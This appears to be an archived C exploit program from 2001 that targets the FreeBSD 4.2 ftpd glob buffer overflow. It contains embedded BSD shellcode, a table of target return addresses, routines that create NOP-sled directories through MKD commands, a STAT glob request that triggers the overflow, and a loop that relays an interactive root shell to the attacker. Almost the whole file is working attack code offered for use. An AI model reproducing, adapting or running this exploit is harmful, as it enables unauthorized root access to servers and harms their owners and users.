home *** CD-ROM | disk | FTP | other *** search
- /*
- * (c) Apr 2001 noah williamsson / tm@ns2.crw.se
- *
- * Compile:
- * BSD/Linux: gcc -o fbsdftp-ex -O2 -Wall fbsdftp-ex.c
- * Solaris: cc -o fbsdftp-ex -O2 -Wall -lresolv -lsocket -lnsl fbsdftp-ex.c
- *
- * Credits:
- * fishstiqz (shellcode)
- *
- * Greets:
- * #Hack.SE
- *
- * For adding new targets, some hints are available
- * around line 180 in this file.
- *
- */
-
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <string.h>
- #include <errno.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/time.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <resolv.h>
- #include <signal.h>
- #include <sys/stat.h>
-
-
- // #define DEBUG
-
-
- int type, verbose, s;
- char kjellkode[] = {
- /* fishstiqz' bsd c0de */
- "\x29\xc0\x50\xb0\x17\x50\xcd\x80"
- "\x29\xc0\x50\xbf\x66\x69\x73\x68"
- "\x29\xf6\x66\xbe\x49\x46\x31\xfe"
- "\x56\xbe\x49\x0b\x1a\x06\x31\xfe"
- "\x56\x89\xe3\x50\x54\x50\x54\x53"
- "\xb0\x3b\x50\xcd\x80"
- };
-
- struct {
- char *name;
- unsigned long neweip;
- int offset;
- int align;
- int mkds;
- int cwds;
- } targets[] = {
- { "FreeBSD 4.2R ftpd default installation", 0xbfbfa410, 0x58, 0, 26, 50 },
- { "FreeBSD 4.2R ftpd compiled with -ggdb", 0xbfbfa430, 0x58, 0, 26, 50 },
- { "FreeBSD 4.2S as of Sept 2000", 0xbfbfa450, 0x58, 0, 26, 50 },
- { 0 }
- };
-
-
- int main(int, char **);
- void sig(int);
- int opensock(char *);
- void usage(void);
- void ftpd_exp(char *, char *);
- void ftpd_mkd(int);
- void tunnel(int);
-
-
- int main(int argc, char *argv[]) {
- char *host, *user, *pass, buf[8192];
- int i, create_dirs = 0;
-
- if(argc < 4)
- usage();
-
- for(i = 1; i < argc; i++) {
- if(!strcmp(argv[i], "-t"))
- type = atoi(argv[++i]);
- if(!strcmp(argv[i], "-v"))
- verbose = 1;
- else if(!strcmp(argv[i], "-c"))
- create_dirs = 1;
- }
-
- pass = argv[argc-1];
- user = argv[argc-2];
- host = argv[argc-3];
-
- if((s = opensock(host)) <= 0)
- return -1;
-
- printf("[xplt] Target host is %s\n", targets[type].name);
- memset(buf, 0, sizeof(buf));
- read(s, buf, sizeof(buf));
-
- sprintf(buf, "USER %s\r\n", user);
- write(s, buf, strlen(buf));
- memset(buf, 0, sizeof(buf));
- read(s, buf, sizeof(buf));
-
- sprintf(buf, "PASS %s\r\n", pass);
- write(s, buf, strlen(buf));
- memset(buf, 0, sizeof(buf));
-
- sleep(1);
- read(s, buf, sizeof(buf));
-
- #ifdef DEBUG
- printf("[xplt] Hit enter\n");
- read(0, buf, sizeof(buf));
- #endif
-
- if(create_dirs) {
- chdir("~");
- ftpd_mkd(targets[type].mkds);
- }
-
- ftpd_exp(user, pass);
-
- close(s);
-
- return 0;
- }
-
-
- void ftpd_exp(char *login, char *pass) {
- char buf[4096];
- int rep;
-
- signal(SIGINT, sig);
-
- sprintf(buf, "STAT CCC*");
- for(rep = 0; rep < targets[type].cwds; rep++)
- strcat(buf, "/*");
-
- strcat(buf, "\r\n");
- write(s, buf, strlen(buf));
-
- sprintf(buf, "echo '[+] If you can see this line you have a shell [+]' ; /usr/bin/id\n");
- write(s, buf, strlen(buf));
-
- printf("[xplt] If you don't receive a line with uid=0 within a few seconds the exploit probably didn't work\n");
-
- tunnel(s);
- }
-
-
- void ftpd_mkd(int numdirs) {
- char buf[1024], ftpcmd[1024];
- int i;
-
- sprintf(buf, "CWD ~\r\n");
- write(s, buf, strlen(buf));
- memset(buf, 0, sizeof(buf));
- read(s, buf, sizeof(buf));
- if(verbose) printf("FTP:cwd ~> %s", buf);
-
- for(i = 0; i < numdirs; i++) {
- memset(buf, 0, sizeof(buf));
-
- if(i == 1) {
- memset(buf, 0x90, 40);
- memcpy(buf+strlen(buf), kjellkode, strlen(kjellkode));
- memset(buf+strlen(buf), 0x90, 203-strlen(buf));
- }
- else if('C'+i == targets[type].offset) {
- int j;
- #ifdef DEBUG
-
- /*
- * Start gdb -se=/usr/libexec/ftpd
- * Attach the ftpd process when you see 'Hit enter'
- * Hit enter.
- *
- * Offset is (segv addy & 0xff) - 0x30
- *
- * Find neweip by doing x/1000wx 0xbfbfa00
- * and look for 0x90909090
- *
- */
-
- for(j = 0; j < 39; j++)
- buf[j] = j + 0x30;
- #else
- for(j = 0; j < 40; j+=4)
- *(unsigned long *)(&buf[j+targets[type].align]) = targets[type].neweip;
- #endif
- }
- else {
- memset(buf, 'C'+i, 39);
- }
-
- sprintf(ftpcmd, "MKD %s\r\n", buf);
- write(s, ftpcmd, strlen(ftpcmd));
- memset(buf, 0, sizeof(buf));
- read(s, buf, 510);
- if(verbose) printf("FTP:mkd> %s", buf);
-
- memcpy(ftpcmd, "CW", 2);
- write(s, ftpcmd, strlen(ftpcmd));
- memset(buf, 0, sizeof(buf));
- read(s, buf, 510);
- if(verbose) printf("FTP:cwd> %s", buf);
- }
-
- printf("[xplt] Created %d directories\n", i);
- sprintf(buf, "CWD ~\r\n");
- write(s, buf, strlen(buf));
- memset(buf, 0, sizeof(buf));
- read(s, buf, sizeof(buf));
- if(verbose) printf("FTP:cwd ~> %s", buf);
- }
-
-
- int opensock(char *host) {
- int s;
- struct sockaddr_in remote_sin;
- struct hostent *he;
-
- if((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
- perror("socket()");
- return -1;
- }
-
- memset((char *)&remote_sin, 0, sizeof(remote_sin));
- if((he = gethostbyname(host)) != NULL)
- memcpy((char *)&remote_sin.sin_addr, he->h_addr, he->h_length);
- else if((remote_sin.sin_addr.s_addr = inet_addr(host)) < 0) {
- perror("gethostbyname()/inet_addr()");
- return -1;
- }
-
- remote_sin.sin_family = AF_INET;
- remote_sin.sin_port = htons(21);
-
- if(connect(s, (struct sockaddr *)&remote_sin, sizeof(remote_sin)) == -1) {
- perror("connect()");
- close(s);
- return -1;
- }
-
- return s;
- }
-
-
- void usage(void) {
- int i;
-
-
- printf("Usage: ./fbsdftp-ex [-t <num>] [-c] [-v] <ftphost> <ftpuser> <ftppass>\n");
- printf("\t-t\tTarget host type\n");
- printf("\t-c\tCreate evil directories\n");
- printf("\t-v\tVerbose\n");
- printf("\nValid targets:\n");
-
- for(i = 0; targets[i].name; i++) {
- printf("%d\t%s\n", i, targets[i].name);
- }
-
- exit(0);
- }
-
-
- void sig(int signo) {
- close(s);
- printf("Die!\n");
- exit(0);
- }
-
-
- void tunnel(int sock) {
- char fbuf[1024], tbuf[1024];
- int ret, idx_f = 0, idx_t = 0;
- int input = 0, output = 1;
- struct timeval tv;
- fd_set rd, wd;
-
- FD_ZERO(&rd);
- FD_ZERO(&wd);
- for(;;) {
- if(idx_t < 1024)
- FD_SET(input, &rd);
-
- if(idx_f < 1024)
- FD_SET(sock, &rd);
-
- tv.tv_sec = 1;
- tv.tv_usec = 0;
- ret = select(sock+1, &rd, &wd, NULL, NULL);
- if(ret < 1)
- continue;
-
- if(FD_ISSET(sock, &rd) && idx_f != 1024) {
- ret = read(sock, fbuf + idx_f, sizeof(fbuf) - idx_f);
- if(ret < 1)
- break;
-
- idx_f += ret;
- FD_CLR(sock, &rd);
- }
-
- if(FD_ISSET(input, &rd) && idx_t != 1024) {
- ret = read(input, tbuf + idx_t, sizeof(tbuf) - idx_t);
- if(ret < 1)
- break;
-
- idx_t += ret;
- FD_CLR(input, &rd);
- }
-
- if(idx_f) {
- if((ret = write(output, fbuf, idx_f)) < 1)
- break;
-
- if(!(idx_f -= ret))
- memcpy(fbuf, fbuf + ret, idx_f);
- }
-
- if(idx_t) {
- if((ret = write(sock, tbuf, idx_t)) < 1)
- break;
-
- if(!(idx_t -=ret))
- memcpy(tbuf, tbuf + ret, idx_t);
- }
- }
-
- close(sock);
- /* DMT$MTA */
- }
- /* www.hack.co.za [18 April 2001]*/